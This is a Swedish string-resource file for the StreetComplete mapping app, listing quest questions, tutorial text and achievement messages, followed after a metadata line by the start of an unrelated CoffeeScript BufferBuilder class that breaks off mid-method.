<!-- Fuzzy -->
<string name="quest_maxheight_answer_noSign">"Det finns ingen skylt…"</string>
<!-- Fuzzy -->
<string name="quest_maxheight_answer_noSign_question">"Är det tillräckligt med utrymme för att även de högsta lastbilarna (minst 4.5 meter) enkelt ska ta sig under?"</string>
<!-- Fuzzy -->
<string name="quest_maxheight_unusualInput_confirmation_description">"Angiven höjd verkar osannolik. Är du säker på att den är korrekt?"</string>
<string name="quest_noteDiscussion_comment2">"— %1$s, %2$s"</string>
<!-- Fuzzy -->
<string name="quest_noteDiscussion_closed2">"Stängd av %1$s, %2$s"</string>
<!-- Fuzzy -->
<string name="quest_noteDiscussion_reopen2">"Öppnad igen av %1$s, %2$s"</string>
<!-- Fuzzy -->
<string name="quest_noteDiscussion_hide2">"Gömd av %1$s, %2$s"</string>
<!-- Fuzzy -->
<string name="quest_railway_crossing_barrier_title">"Hur är den här järnvägsövergången skyddad?"</string>
<!-- Fuzzy -->
<string name="quest_railway_crossing_barrier_none">"Saknar skydd"</string>
<!-- Fuzzy -->
<string name="privacy_html_image_upload2">"<p>Foton som du bifogar en anteckning laddas upp till min server och tas bort några dagar efter att anteckningen är avklarad. Metadatan tas bort innan uppladdning.</p>"</string>
<!-- Fuzzy -->
<string name="action_deselect_all">"Avmarkera alla"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_retail_description">"även restaurang- och kafébyggnader"</string>
<!-- Fuzzy -->
<string name="quest_openingHours_timeSelect_next">"Nästa"</string>
<!-- Fuzzy -->
<string name="quest_tracktype_title">"Vad är ytans fasthet av detta spår?"</string>
<!-- Fuzzy -->
<string name="quest_tracktype_grade1">"Fast"</string>
<!-- Fuzzy -->
<string name="quest_tracktype_grade2">"Mestadels fast"</string>
<!-- Fuzzy -->
<string name="quest_tracktype_grade3">"Blandning"</string>
<!-- Fuzzy -->
<string name="quest_tracktype_grade4">"Mestadels mjuk"</string>
<!-- Fuzzy -->
<string name="quest_tracktype_grade5">"Mjuk"</string>
<!-- Fuzzy -->
<string name="quest_building_underground_name_title">"Är %s helt under jord?"</string>
<!-- Fuzzy -->
<string name="quest_building_underground_title">"Är byggnaden helt under jord?"</string>
<!-- Fuzzy -->
<string name="quest_traffic_signals_sound_title">"Finns det ljudsignaler för blinda här?"</string>
<!-- Fuzzy -->
<string name="quest_wheelchairAccess_limited_description_outside">"Delvis innebär att det inte finns mer än ett enda steg för att komma åt det."</string>
<!-- Fuzzy -->
<string name="quest_wheelchairAccess_outside_title">"Är det här stället rullstolsanpassat?"</string>
<!-- Fuzzy -->
<string name="quest_traffic_signals_button_title">"Har dessa trafikljus en knapp för att begära grönt ljus?"</string>
<!-- Fuzzy -->
<string name="quest_motorcycleParkingCapacity_title">"Hur många motorcyklar kan parkeras här?"</string>
<!-- Fuzzy -->
<string name="quest_motorcycleParkingCoveredStatus_title">"Har denna motorcykelparkering tak (skyddad från regn)?"</string>
<!-- Fuzzy -->
<string name="default_disabled_msg_maxspeed">"Denna söktyp är inaktiverad som standard eftersom du vanligtvis måste kontrollera hela gatan för hastighetsbegränsningsskyltar, inte bara den markerade sektionen. Detta kan ibland vara ganska överdrivet bara för att lösa ett enda uppdrag."</string>
<!-- Fuzzy -->
<string name="pref_title_quests_restore_hidden">"Återställ dolda uppdrag"</string>
<!-- Fuzzy -->
<string name="restore_hidden_success">"Återställde %d dolda uppdrag"</string>
<!-- caution: This is not necessarily the floor and level=0 is not necessarily at street level
as it may follow the numbering scheme of the building operator. Try to use a generic wording
that does not carry an implicit meaning of where it is located in respect to the ground floor.
The context is usually shopping centres, train stations or airport terminals -->
<!-- Fuzzy -->
<string name="on_level">"på nivå %s:"</string>
<!-- as in: "Where is the metro station?" - "It is underground" -->
<!-- Fuzzy -->
<string name="underground">"underjordisk:"</string>
<!-- Fuzzy -->
<string name="quest_sidewalk_value_yes">"trottoar"</string>
<!-- Fuzzy -->
<string name="quest_sidewalk_value_no">"ingen trottoar"</string>
<!-- Fuzzy -->
<string name="quest_accessible_for_pedestrians_title_prohibited">"Är fotgängare förbjudna att gå på den här vägen?"</string>
<!-- Fuzzy -->
<string name="quest_accessible_for_pedestrians_separate_sidewalk_explanation">"Den här gatan märktes som att den inte hade någon trottoar på vardera sidan. Om det finns en trottoar trots allt, men den visas som en separat väg, var god svara \"trottoar\"."</string>
<!-- Fuzzy -->
<string name="quest_buildingType_title">"Vilken typ av byggnad är detta?"</string>
<!-- Fuzzy -->
<string name="pref_title_theme_select">"Välj tema"</string>
<string name="theme_automatic">"Automatiskt"</string>
<!-- Fuzzy -->
<string name="theme_light">"Ljust"</string>
<!-- Fuzzy -->
<string name="theme_dark">"Mörkt"</string>
<!-- Fuzzy -->
<string name="theme_system_default">"Systemstandard"</string>
<!-- Fuzzy -->
<string name="quest_placeName_title_name">"Vad heter det här stället? (%s)"</string>
<!-- Fuzzy -->
<string name="action_open_location">"Öppna plats i en annan app"</string>
<!-- Fuzzy -->
<string name="map_application_missing">"Ingen annan kartapplikation installerad"</string>
<!-- Fuzzy -->
<string name="pref_title_overpass_url_select">"Ändra Overpass-server"</string>
<!-- Fuzzy -->
<string name="pref_title_overpass_url_info">"Kräver att applikationen startas om för att träda i kraft. Kan kringgå censur, till exempel i Ryssland."</string>
<!-- Fuzzy -->
<string name="label_housenumber">"husnummer"</string>
<!-- Fuzzy -->
<string name="label_blocknumber">"kvarternummer"</string>
<!-- Fuzzy -->
<string name="quest_busStopShelter_covered">"Hela hållplatsen har tak"</string>
<!-- Fuzzy -->
<string name="quest_ferry_pedestrian_name_title">"Transporterar %s fotgängare?"</string>
<!-- Fuzzy -->
<string name="quest_ferry_pedestrian_title">"Transporterar denna färjelinje fotgängare?"</string>
<!-- Fuzzy -->
<string name="quest_ferry_motor_vehicle_name_title">"Transporterar %s motorfordon?"</string>
<!-- Fuzzy -->
<string name="quest_ferry_motor_vehicle_title">"Transporterar denna färjelinje motorfordon?"</string>
<!-- Fuzzy -->
<string name="quest_leave_new_note_photos_are_useful">"Genom att lägga till ett foto gör du anteckningen mycket mer användbar."</string>
<!-- Fuzzy -->
<string name="quest_postboxCollectionTimes_name_title">"Vilka är tömningstiderna för denna %s postlåda?"</string>
<!-- Fuzzy -->
<string name="create_new_note_hint">"Det är bäst att skriva anteckningen på det lokalt talade språket eller på engelska."</string>
<!-- Fuzzy -->
<string name="quest_leafType_title">"Har träden här barr eller blad?"</string>
<!-- Fuzzy -->
<string name="quest_leaf_type_needles">"Barr"</string>
<!-- Fuzzy -->
<string name="quest_leaf_type_broadleaved">"Bredbladig"</string>
<!-- Fuzzy -->
<string name="quest_leaf_type_mixed">"Båda är närvarande"</string>
<!-- Fuzzy -->
<string name="quest_cyclewayPartSurface_title">"Vad är ytan på cykelvägen här?"</string>
<!-- Fuzzy -->
<string name="quest_generic_answer_differs_along_the_way">"Skiljer sig längs vägen…"</string>
<!-- Fuzzy -->
<string name="quest_split_way_description">"Om det skiljer sig längs vägen är det första steget att dela upp vägen. Därefter kan uppdraget besvaras för varje delad del separat.
Dela den nu?"</string>
<!-- Fuzzy -->
<string name="quest_split_way_tutorial">"Tryck på vägen för att dela upp den vid punkt(erna) där svaret skiljer sig åt. Försök att vara så exakt som möjligt, Du kan zooma in som vanligt."</string>
<!-- Fuzzy -->
<string name="quest_split_way_too_imprecise">"Vänligen zooma in ytterligare"</string>
<!-- Fuzzy -->
<string name="quest_split_way_many_splits_confirmation_description">"Det här är en hel del delningar. Du kan alltid dela upp vägen senare."</string>
<!-- Fuzzy -->
<string name="quest_footwayPartSurface_title">"Vad är ytan på gångvägen här?"</string>
<!-- Fuzzy -->
<string name="quest_wheelchairAccess_toiletsPart_title">"Är toaletten på %s tillgänglig med rullstol?"</string>
<!-- Fuzzy -->
<string name="quest_tactilePaving_title_tram">"Har den här spårvagnshållplatsen taktil markbeläggning?"</string>
<!-- Fuzzy -->
<string name="quest_tactilePaving_title_name_tram">"Har spårvagnshållplatsen %s taktil markbeläggning?"</string>
<!-- Fuzzy -->
<string name="quest_maxweight_title">"Vad är viktgränsen här?"</string>
<!-- Fuzzy -->
<string name="quest_maxweight_answer_noSign">"Det finns ingen skylt"</string>
<!-- Fuzzy -->
<string name="quest_maxweight_unusualInput_confirmation_description">"Denna vikt ser osannolikt ut. Är du säker på att det är korrekt?"</string>
<!-- Fuzzy -->
<string name="quest_maxweight_answer_other_sign">"Skylten ser annorlunda ut…"</string>
<!-- Fuzzy -->
<string name="quest_maxweight_unsupported_sign_request_photo">"Vill du lämna en anteckning? En anteckning med ett foto gör att andra kartläggare kan ta hand om det."</string>
<!-- Fuzzy -->
<string name="quest_generalFee_title">"Kostar inträde till %s?"</string>
<!-- Fuzzy -->
<string name="quest_laundrySelfService_title">"Är denna tvätt en självbetjäningstvätt?"</string>
<!-- Fuzzy -->
<string name="quest_handrail_title">"Har dessa steg ett ledstång?"</string>
<!-- Fuzzy -->
<string name="quest_openingHours_no_name_title">"Vilka är öppettiderna för denna plats? (%s)"</string>
<!-- Fuzzy -->
<string name="about_summary_current_version">"Aktuell version: %s"</string>
<!-- Fuzzy -->
<string name="quest_postboxRef_title">"Vad är referensnumret för denna postlåda?"</string>
<!-- Fuzzy -->
<string name="quest_postboxRef_name_title">"Vad är referensnumret för denna %s postlåda?"</string>
<!-- Fuzzy -->
<string name="quest_ref_answer_noRef">"Inget referensnummer syns..."</string>
<!-- Fuzzy -->
<string name="quest_street_side_puzzle_tutorial">"Vägen i illustrationen roteras på samma sätt som på kartan på stiftets plats."</string>
<!-- Fuzzy -->
<string name="quest_recycling_materials_title">"Vad kan lämnas här för återvinning?"</string>
<!-- Fuzzy -->
<string name="quest_recycling_materials_note">"Om något annat kan återvinnas än valbart hät, vänligen lämna en anteckning istället."</string>
<!-- Fuzzy -->
<string name="quest_recycling_type_batteries">"Batterier"</string>
<!-- Fuzzy -->
<string name="quest_recycling_type_cans">"Burkar"</string>
<!-- Fuzzy -->
<string name="quest_recycling_type_clothes">"Kläder"</string>
<!-- Fuzzy -->
<string name="quest_recycling_type_green_waste">"Trädgårdsavfall"</string>
<!-- Fuzzy -->
<string name="quest_recycling_type_glass_bottles">"Glasflaskor och burkar"</string>
<!-- Fuzzy -->
<string name="quest_recycling_type_glass_bottles_short">"Flaskor och burkar"</string>
<!-- Fuzzy -->
<string name="quest_recycling_type_paper">"Papper"</string>
<!-- Fuzzy -->
<string name="quest_recycling_type_plastic_generic">"Plast"</string>
<!-- Fuzzy -->
<string name="quest_recycling_type_plastic">"Vilka plaster som helst"</string>
<!-- Fuzzy -->
<string name="quest_recycling_type_shoes">"Skor"</string>
<!-- Fuzzy -->
<string name="quest_recycling_type_electric_appliances">"Elektriska apparater"</string>
<!-- Fuzzy -->
<string name="quest_recycling_type_plastic_bottles">"Endast plastflaskor"</string>
<!-- Fuzzy -->
<string name="quest_recycling_type_plastic_packaging">"Endast plastförpackningar"</string>
<!-- Fuzzy -->
<string name="quest_recycling_type_scrap_metal">"Metallskrot"</string>
<!-- Fuzzy -->
<string name="quest_recycling_type_any_glass">"Vilka glaser som helst"</string>
<!-- Fuzzy -->
<string name="quest_recycling_glass_title">"Kan bara glasflaskor och burkar återvinnas här eller alla typer av glas?"</string>
<!-- Fuzzy -->
<string name="quest_determineRecyclingGlass_description_any_glass">"Exempel på glas som ofta inte accepteras: härdat glas, fönsterrutor, glasvaror, glödlampor eller speglar."</string>
<!-- Fuzzy -->
<string name="about_title_changelog">"Versionsanteckningar"</string>
<!-- Fuzzy -->
<string name="title_whats_new">"Vad är nytt?"</string>
<!-- Fuzzy -->
<string name="about_title_rate">"Betygsätt denna app"</string>
<!-- Fuzzy -->
<string name="about_summary_rate">"på Google Play"</string>
<!-- Fuzzy -->
<string name="about_title_donate">"Donera"</string>
<!-- Fuzzy -->
<string name="about_summary_donate">"Visa din uppskattning! ❤️"</string>
<!-- Fuzzy -->
<string name="about_description_donate">"Tack för att du överväger att stöda den här appen! För att se aktuella donationer och donera själv, tryck på respektive plattform:"</string>
<!-- Fuzzy -->
<string name="quest_religion_for_place_of_worship_name_title">"Vilken religion utövas i %s?"</string>
<!-- Fuzzy -->
<string name="confirmation_cancel_prev_download_confirmed">"Skanna här istället"</string>
<!-- Fuzzy -->
<string name="confirmation_cancel_prev_download_cancel">"Återuppta pågående skanning"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_garages_description">"Separata platser för olika ägare/hyresgäster"</string>
<!-- Fuzzy -->
<string name="quest_tourism_information_title">"Vad för slags turistinformation är det här?"</string>
<!-- Fuzzy -->
<string name="quest_tourism_information_name_title">"Vad för slags turistinformation är %s?"</string>
<!-- Fuzzy -->
<string name="quest_tourism_information_office">"Turistinformationskontor"</string>
<!-- Fuzzy -->
<string name="quest_tourism_information_board">"Informationsskylt"</string>
<!-- Fuzzy -->
<string name="quest_tourism_information_terminal">"Informationsskärm"</string>
<!-- Fuzzy -->
<string name="quest_tourism_information_map">"Karta"</string>
<!-- Nog inte vidare vedertaget.. -->
<!-- Fuzzy -->
<string name="quest_tourism_information_guidepost">"Informationsstolpe"</string>
<!-- Fuzzy -->
<string name="quest_recycling_materials_answer_waste">"Den är för restavfall."</string>
<!-- Fuzzy -->
<string name="quest_recycling_materials_answer_waste_description">"Så det här kärlet är för alla sorters avfall, t.ex. hushålls- och kommersiellt avfall?"</string>
<!-- Fuzzy -->
<string name="quest_accepts_cash_title">"Tar %s emot kontanter?"</string>
<!-- Fuzzy -->
<string name="user_profile">"Min profil"</string>
<!-- Fuzzy -->
<string name="user_login">"Logga in"</string>
<!-- Fuzzy -->
<string name="user_logout">"Logga ut"</string>
<!-- Fuzzy -->
<string name="osm_profile">"OSM-profil"</string>
<!-- Fuzzy -->
<string name="next">"Nästa"</string>
<!-- Fuzzy -->
<string name="letsgo">"Nu kör vi!"</string>
<!-- Fuzzy -->
<string name="tutorial_welcome_to_osm">"Välkommen till OpenStreetMap"</string>
<!-- Fuzzy -->
<string name="tutorial_welcome_to_osm_subtitle">"den fria wiki-världskartan"</string>
<!-- Fuzzy -->
<string name="tutorial_intro">"StreetComplete gör det enkelt att bidra till OpenStreetMap.
Den söker automatiskt efter saknade detaljer i din närhet: cykelbanor, husnummer, öppettider och mycket mer…"</string>
<!-- Fuzzy -->
<string name="tutorial_solving_quests">"När du hittat, kommer de saknade detaljerna att visas på din karta som uppdrag.
Du kan börja lösa dem direkt och senare logga in för att publicera dina svar."</string>
<!-- Fuzzy -->
<string name="tutorial_stay_safe">"När du är osäker kan du alltid svara \"Kan inte säga\" och lämna en anteckning.
Slutligen, kom ihåg att vara säker: var medveten om din omgivning och gå inte in på privat egendom.
"</string>
<!-- Fuzzy -->
<string name="tutorial_happy_mapping">"Glad kartläggning!"</string>
<!-- Fuzzy -->
<string name="achievements_empty">"Du har inga prestationer ännu"</string>
<!-- Fuzzy -->
<string name="links_empty">"Du har inga länkar ännu"</string>
<!-- Fuzzy -->
<string name="quests_empty">"Du har inte publicerat några uppdragssvar ännu"</string>
<!-- Fuzzy -->
<string name="unsynced_quests_description">"plus %d ännu inte publicerade ändringar."</string>
<!-- Fuzzy -->
<string name="unsynced_quests_not_logged_in_description">"Du har %d ännu inte publicerade ändringar. Du måste logga in för att få dem skickade."</string>
<!-- Fuzzy -->
<string name="user_quests_title">"Lösta uppdrag"</string>
<!-- Fuzzy -->
<string name="user_achievements_title">"Prestationer"</string>
<!-- Fuzzy -->
<string name="user_links_title">"Länksamling"</string>
<!-- Fuzzy -->
<string name="user_profile_title">"Profil"</string>
<!-- Fuzzy -->
<string name="user_statistics_quest_wiki_link">"Dokumentation"</string>
<!-- Fuzzy -->
<string name="achievements_unlocked_link">"Olåst länk:"</string>
<!-- Fuzzy -->
<string name="achievements_unlocked_links">"Olåsta länkar:"</string>
<!-- Fuzzy -->
<string name="link_category_intro_title">"Introduktion"</string>
<!-- Fuzzy -->
<string name="link_category_intro_description">"Lär dig mer om OSM och dess gemenskap"</string>
<!-- Fuzzy -->
<string name="link_category_editors_title">"Bidragande"</string>
<!-- Fuzzy -->
<string name="link_category_editors_description">"Redaktörer och andra sätt att bidra till OpenStreetMap"</string>
<!-- Fuzzy -->
<string name="link_category_maps_title">"Kartor"</string>
<!-- Fuzzy -->
<string name="link_category_maps_description">"OpenStreetMap-baserade kartor"</string>
<!-- Fuzzy -->
<string name="link_category_showcase_title">"Presentation"</string>
<!-- Fuzzy -->
<string name="link_category_showcase_description">"OpenStreetMap-baserade tjänster och appar"</string>
<string name="link_category_goodies_title">"Godbitar"</string>
<!-- Fuzzy -->
<string name="link_category_goodies_description">"Intressanta kartrelaterade saker för dig att prova"</string>
<!-- Fuzzy -->
<string name="link_cyclosm_description">"En karta för cyklister"</string>
<!-- Fuzzy -->
<string name="link_wheelmap_description">"En karta för att hitta rullstolsanpassade platser"</string>
<!-- Fuzzy -->
<string name="link_osm_buildings_description">"En karta som visar byggnaderna i 3D"</string>
<!-- Fuzzy -->
<string name="link_openvegemap_description">"Upptäck vegetariska och veganska restauranger i din stad"</string>
<!-- Fuzzy -->
<string name="link_touch_mapper_description">"Skapa taktila kartor enkelt för vilken adress som helst"</string>
<!-- Fuzzy -->
<string name="link_mapy_tactile_description">"Taktila kartor för synskadade i olika skalor"</string>
<!-- Fuzzy -->
<string name="link_josm_description">"Fullfjädrad OSM-redigerare för skrivbordet. Detta är kraftverktyget för vanliga bidragsgivare."</string>
<!-- Fuzzy -->
<string name="link_vespucci_description">"Avancerad OSM-redigerare för Android"</string>
<!-- Fuzzy -->
<string name="link_ideditor_description">"Enkel OSM-redigerare för webbläsaren. Optimerad för skrivbordet eller stora surfplattor"</string>
<!-- Fuzzy -->
<string name="link_umap_description">"Skapa kartor med anpassade data snabbt och bädda in dem i din webbplats"</string>
<!-- Fuzzy -->
<string name="link_opnvkarte_description">"En karta över allmänna transportvägar och hållplatser"</string>
<!-- Fuzzy -->
<string name="link_pic4review_description">"Bidra till OSM helt enkelt genom att titta på bilder av din stad"</string>
<!-- Fuzzy -->
<string name="link_wiki_description">"Wikin är din utgångspunkt för allt relaterat OpenStreetMap"</string>
<!-- Fuzzy -->
<string name="link_learnosm_description">"Är du ny på OpenStreetMap? Detta är en nybörjarguide"</string>
<!-- Fuzzy -->
<string name="link_neis_one_description">"En enorm samling av statistik för bidragsgivare av OpenStreetMap, som var och hur du bidragit, vem som är runt omkring dig plus topplistor"</string>
<!-- Fuzzy -->
<string name="link_welcome_mat_description">"Allmän information om OpenStreetMap och hur man arbetar med OSM som organisation"</string>
<!-- Fuzzy -->
<string name="link_mapillary_description">"En tjänst och app för att dela gatunivå-bilder genom crowdsourcing, med uttryckligt tillstånd att använda dem för att bidra till OSM"</string>
<!-- Fuzzy -->
<string name="link_openstreetcam_description">"En tjänst och app för att dela gatunivå-bilder genom crowdsourcing, med uttryckligt tillstånd att använda dem för att bidra till OSM"</string>
<!-- Fuzzy -->
<string name="link_openrouteservice_wheelchair_description">"Sväng för sväng navigering för rullstolsanvändare"</string>
<!-- Fuzzy -->
<string name="link_nominatim_description">"Geokodern för OSM-data, som används av många andra tjänster"</string>
<!-- Fuzzy -->
<string name="link_city_roads_description">"Gör alla vägar i en stad, för utskrift på t-tröjor, muggar, …"</string>
<!-- Fuzzy -->
<string name="link_myosmatic_description">"Generera utskrivbara stadskartor med några enkla steg, eventuellt med en gatukatalog"</string>
<!-- Fuzzy -->
<string name="link_brouter_description">"Förmodligen den bästa dirigeringsmotorn för cyklister"</string>
<!-- Fuzzy -->
<string name="link_show_me_the_way_description">"Titta på redigeringar i OSM hända i realtid"</string>
<!-- Fuzzy -->
<string name="link_osrm_description">"Den snabbaste dirigeringsmotorn som finns"</string>
<!-- Fuzzy -->
<string name="link_openrouteservice_description">"Dirigering för en mängd olika fordon och till fots, var och en med preferenser. Kan också visa isokroner (nå område på X minuter från en utgångspunkt)."</string>
<!-- Fuzzy -->
<string name="link_osm_haiku_description">"Använda OSM-data för att generera en haiku (en form av Japansk poesi)"</string>
<!-- Fuzzy -->
<string name="link_openinframap_description">"En karta som visar kraft-, telekommunikation-, gas- och oljeinfrastruktur"</string>
<!-- Fuzzy -->
<string name="link_openorienteeringmap_description">"Skapa utskrivbara kartor för orienteringssporten"</string>
<!-- Fuzzy -->
<string name="link_openstreetbrowser_description">"En karta för att bläddra i OpenStreetMap-kartfunktioner efter kategori"</string>
<!-- Fuzzy -->
<string name="link_weeklyosm_description">"Blogg med nyheter varje vecka om vad som händer i OpenStreetMap-världen"</string>
<!-- Fuzzy -->
<string name="link_figuregrounder_description">"Skapa affischer med markfigursdiagram av en stad eller stadsdel"</string>
<!-- Fuzzy -->
<string name="achievement_first_edit_title">"Första uppdraget löst"</string>
<!-- Fuzzy -->
<string name="achievement_first_edit_description">"Välkommen till gemenskapen av OpenStreetMap! På din profilskärm kan du se mer information för varje uppdragstyp du har löst."</string>
<!-- Fuzzy -->
<string name="achievement_surveyor_title">"Inspektör"</string>
<!-- Fuzzy -->
<string name="achievement_surveyor_solved_X">"Du löste %d uppdrag! Fortsätt att låsa upp fler prestationer som innehåller länkar till OSM och andra kartrelaterade appar och projekt!"</string>
<!-- Fuzzy -->
<string name="achievement_regular_title">"Regelbunden"</string>
<!-- Fuzzy -->
<string name="achievement_regular_description">"Du bidrog %d dagar till OSM med denna app! Regelbundna bidragsgivare är ryggraden i OSM, tack för ditt engagemang! ❤"</string>
<!-- Fuzzy -->
<string name="achievement_bicyclist_title">"Cyklist"</string>
<!-- Fuzzy -->
<string name="achievement_bicyclist_solved_X">"Du löste %d uppdrag som hjälper cyklister!"</string>
<!-- Fuzzy -->
<string name="achievement_wheelchair_title">"Rörlighet"</string>
<!-- Fuzzy -->
<string name="achievement_wheelchair_solved_X">"Du löste %d uppdrag som hjälper rullstolsanvändare komma runt staden!"</string>
<!-- Fuzzy -->
<string name="achievement_postman_title">"Brevbärare"</string>
<!-- Fuzzy -->
<string name="achievement_postman_solved_X">"Du hjälpte till att hitta %d adresser!
Denna information är inte bara nödvändig för postmästaren utan också för alla navigationssystem."</string>
<!-- Fuzzy -->
<string name="achievement_building_title">"Höghus"</string>
<!-- Fuzzy -->
<string name="achievement_building_solved_X">"Du löste %d byggrelaterade uppdrag.
Observera att den här appen ber om husnummer av en byggnad först efter att dess typ har fastställts."</string>
<!-- Fuzzy -->
<string name="achievement_blind_title">"Sjätte sinne"</string>
<!-- Fuzzy -->
<string name="achievement_blind_solved_X">"Du löste %d uppdrag som är intressanta för synskadade."</string>
<!-- Fuzzy -->
<string name="achievement_pedestrian_title">"Löpare"</string>
<!-- Fuzzy -->
<string name="achievement_pedestrian_solved_X">"Du löste %d uppdrag som är intressanta för människor till fots!"</string>
<!-- Fuzzy -->
<string name="achievement_veg_title">"Snäll mot djur"</string>
<!-- Fuzzy -->
<string name="achievement_veg_solved_X">"Du löste %d uppdrag som är intressanta för människor som lever på en köttfri diet!"</string>
<!-- Fuzzy -->
<string name="achievement_car_title">"På vägen"</string>
<!-- Fuzzy -->
<string name="achievement_car_solved_X">"Du löste %d uppdrag som förbättrar detaljer på gatuinfrastrukturen och sätter gatan i OpenStreetMap!"</string>
<!-- Fuzzy -->
<string name="unread_messages_message">"Du har %d olästa meddelanden i inkorgen"</string>
<!-- Fuzzy -->
<string name="unread_messages_button">"Öppna inkorgen"</string>
<!-- Fuzzy -->
<string name="action_about2">"Om"</string>
<!-- Fuzzy -->
<string name="map_btn_menu">"Meny"</string>
<!-- Fuzzy -->
<string name="privacy_html_statistics">"<p>Uppgifterna som visas i din profil samlas från din offentligt tillgängliga bidragshistoria till OpenStreetMap och finns sedan på min server.</p>"</string>
<!-- Fuzzy -->
<string name="confirmation_authorize_now_note2">"Du kan också göra detta senare på profilskärmen."</string>
<!-- Fuzzy -->
<string name="credits_art_contributors_title">"Konstbidragsgivare"</string>
<!-- Fuzzy -->
<string name="credits_projects_contributors_title">"Projekt som gjorts för StreetComplete"</string>
<!-- Fuzzy -->
<string name="credits_main_contributors_title">"Huvudsakliga bidragsgivare"</string>
<!-- Fuzzy -->
<string name="stats_are_syncing">"Din statistik synkroniseras fortfarande. Kontrollera denna skärm senare."</string>
<string name="user_statistics_country_rank">"Rang i %2$s: %1$d"</string>
<string name="user_statistics_country_wiki_link">"Kartläggningsportal %s"</string>
<string name="user_statistics_filter_by_country">"efter land"</string>
<string name="user_statistics_filter_by_quest_type">"efter uppdragstyp"</string>
<string name="user_profile_global_rank">"Global"</string>
<string name="user_profile_local_rank">"Rang i
%s"</string>
<string name="user_profile_days_active">"Dagar
aktiv"</string>
<string name="user_profile_achievement_levels">"Prestations-
nivåer"</string>
<string name="quest_address_street_title">"Vilken gata hör (hus) numret %s till?"</string>
<string name="quest_address_street_no_named_streets">"Det hör inte till en namngiven gata"</string>
<string name="quest_address_street_place_name_label">"Platsnamn:"</string>
<string name="quest_address_street_description">"Tryck på vägen den tillhör på kartan eller ange den utan förkortningar i fältet nedan:"</string>
<string name="quest_recycling_type_cooking_oil">"Matlagningsolja"</string>
<string name="quest_recycling_type_engine_oil">"Motorolja"</string>
<string name="link_photon_description">"En fristående tillägg till Nominatim med luddig sökning och sök-medan-du-skriver"</string>
<string name="link_graphhopper_description">"En flexibel dirigeringsmotor"</string>
<string name="link_qwant_maps_description">"En karta med sökbara platser och vägbeskrivningar"</string>
<string name="privacy_html_tileserver2">"<p>För att visa kartan hämtas vektordelar från %1$s. Se deras <a href=\"%2$s\">integritetsförklaring</a> för mer information.</p>"</string>
<string name="about_title_sponsors">"Sponsorer"</string>
<string name="quest_board_type_history">"Historia"</string>
<string name="quest_board_type_geology">"Geologi"</string>
<string name="quest_board_type_plants">"Växter"</string>
<string name="quest_board_type_wildlife">"Vilda djur och växter"</string>
<string name="quest_board_type_nature">"Natur (flera ämnen)"</string>
<string name="quest_board_type_notice_board">"Det är en anslagstavla"</string>
<string name="quest_board_type_public_transport">"Kollektivtrafik"</string>
<string name="quest_board_type_title">"Vad är ämnet för denna informationstavla?"</string>
<string name="quest_sidewalk_separately_mapped">"Ja, visas separat på kartan"</string>
<string name="quest_board_type_map">"Det är en karta"</string>
<string name="quest_board_type_map_title">"Är det bara en karta och endast en karta?"</string>
<string name="quest_board_type_map_description">"Om tavlan handlar om ett visst ämne, ange det, oavsett om det också innehåller en karta. Till exempel kan en kollektivtrafikstavla ha en bussruttkarta. Om ämnet inte är listat bland de tillgängliga svaren, överväg att lämna en anteckning istället."</string>
<string name="quest_surface_detailed_answer_impossible">"Flera ytor..."</string>
<string name="quest_surface_detailed_answer_impossible_confirmation">"Är du säker på att det är omöjligt att specificera ytan? Notera svaralternativet \"Skiljer sig längs vägen\" som gör att du kan klippa ut hur ytan förändras. Använd \"Kan inte säga\" om det finns en enda yta men den är inte tillgänglig som svar."</string>
<string name="quest_surface_detailed_answer_impossible_description">"Vänligen ange kort ytan här, till exempel \"sandig med stigar av kullersten\". Textens längd är begränsad till 255 tecken."</string>
<string name="quest_surface_detailed_name_title">"Vilken specifik yta har vägen %s här?"</string>
<string name="quest_surface_detailed_square_name_title">"Vilken specifik yta har torget %s här?"</string>
<string name="quest_surface_detailed_title">"Vilken specifik yta har denna väg?"</string>
<string name="quest_surface_detailed_square_title">"Vilken specifik yta har detta torg här?"</string>
<string name="quest_streetName_menuItem_language_with_script_simple">"%1$s – %2$s, %3$s"</string>
<string name="quest_streetName_menuItem_language_with_script_native">"%1$s – %2$s (%3$s), %4$s"</string>
<string name="quest_streetName_menuItem_international">"internationell"</string>
<string name="quest_streetName_menuItem_romanized">"i latinskript"</string>
<string name="quest_buildingType_terrace2">"Radhus"</string>
<string name="quest_oneway_tutorial">"Vägen i illustrationen roteras på samma sätt som på kartan på stiftets plats. Notera den angivna riktningen. "</string>
<string name="at_housename">"Husnamn %s:"</string>
<string name="at_conscription_and_street_number">"Konskriptionsnummer %1$s, Orienteringsnummer %2$s:"</string>
<!-- Fuzzy -->
<string name="at_conscription_number">"Konskriptionsnummer %s:"</string>
<string name="at_housenumber">"husnummer %s:"</string>
<string name="quest_openingHours_name_type_title">"Vad har %1$s (%2$s) för öppettider?"</string>
<string name="quest_wheelchairAccess_name_type_title">"Är %1$s (%2$s) tillgänglig med rullstol?"</string>
<string name="quest_accepts_cash_type_title">"Tar %1$s (%2$s) emot kontanter?"</string>
</resources> | {
"pile_set_name": "Github"
} |
###*
Builder for buffers. Basically allows building a buffer
but the buffer isn't created until toBuffer is called.
###
class exports.BufferBuilder
@getUcs2StringLength: (string) -> string.length * 2
constructor: ->
@_values = []
@length = 0
# please keep functions in alphabetical order
appendBuffer: (buffer) ->
@length += buffer.length
@_values.push type: 'buffer', value: buffer
@
appendByte: (byte) ->
@length++
@_values.push type: 'byte', value: byte
@
appendBytes: (bytes) ->
@length += bytes.length
@_values.push type: 'byte array', value: bytes
@
appendInt32LE: (int) ->
@length += 4
@_values.push type: 'int32LE', value: int
@
appendString: (string, encoding) ->
len = Buffer.byteLength string, encoding
@length += len
@_values.push type: 'string', encoding: encoding, value: string, length: len
@
appendUcs2String: (string) ->
@appendString string, 'ucs2'
appendAsciiString: (string) ->
@appendString string, 'ascii'
appendUInt16LE: (int) ->
@length += 2
@_values.push type: 'uint16LE', value: int
@
appendUInt32LE: (int) ->
@length += 4
@_values.push type: 'uint32LE', value: int
@
insertByte: (byte, position) ->
@length++
@_values.splice position, 0, type: 'byte', value: byte
@
insertUInt16BE: (int, position) ->
@length += 2
@_values.splice position, 0, type: 'uint16BE', value: int
@
insertUInt16LE: (int, position) ->
@length += 2
@_values.splice position, 0, type: 'uint16LE', value: int
@
insertUInt32LE: (int, position) ->
@length += 4
@_values.splice position, 0, type: 'uint32LE', value: int
@
toBuffer: ->
buff = new Buffer @length
offset = 0
for value in @_values
switch value.type
# please keep in alphabetical order
when 'buffer'
